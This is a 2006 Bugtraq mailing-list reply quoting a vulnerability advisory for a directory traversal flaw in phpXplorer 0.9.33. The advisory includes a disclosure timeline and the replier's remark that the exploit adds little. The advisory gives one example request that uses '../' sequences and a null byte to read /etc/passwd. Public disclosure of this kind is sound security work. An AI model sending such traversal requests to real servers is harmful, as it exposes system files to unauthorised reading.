Bugtraq mailing list archives
Re: Directory traversal in phpXplorer
From: Stan Bubrouski <stan.bubrouski () gmail com>
Date: Mon, 16 Jan 2006 15:00:47 -0500
Seeing as phpXplorer allows the upload and editing of live PHP files anyways it seems to me this exploit is completely useless. You can use the script as intended to cat the password file if you want. Right? -sb On 1/16/06, Oriol Torrent <oriol.torrent () gmail com> wrote:
========================================================== Title: Directory traversal in phpXplorer Application: phpXplorer Vendor: http://www.phpxplorer.org Vulnerable Versions: 0.9.33 Bug: directory traversal Date: 16-January-2006 Author: Oriol Torrent Santiago < oriol.torrent.AT.gmail.com > References: http://www.arrelnet.com/advisories/adv20060116.html ========================================================== 1) Background ----------- phpXplorer is an open source file management system written in PHP. It enables you to work on a remote file system through a web browser. 2) Problem description -------------------- An attacker can read arbitrary files outside the web root by sending specially formed requests Ex: http://host/phpXplorer/system/workspaces.php?sShare=../../../../../../../../etc/passwd%00&ref=1 3) Solution: ---------- No Patch available. 4) Timeline --------- 17/12/2005 Bug discovered 20/12/2005 Vendor receives detailed advisory. No response 04/01/2006 Second notification. No response 16/01/2006 Public Disclosure
Current thread:
- Directory traversal in phpXplorer Oriol Torrent (Jan 16)
- Re: Directory traversal in phpXplorer Stan Bubrouski (Jan 18)
- Re: Directory traversal in phpXplorer Stan Bubrouski (Jan 19)
- Re: Directory traversal in phpXplorer Stan Bubrouski (Jan 18)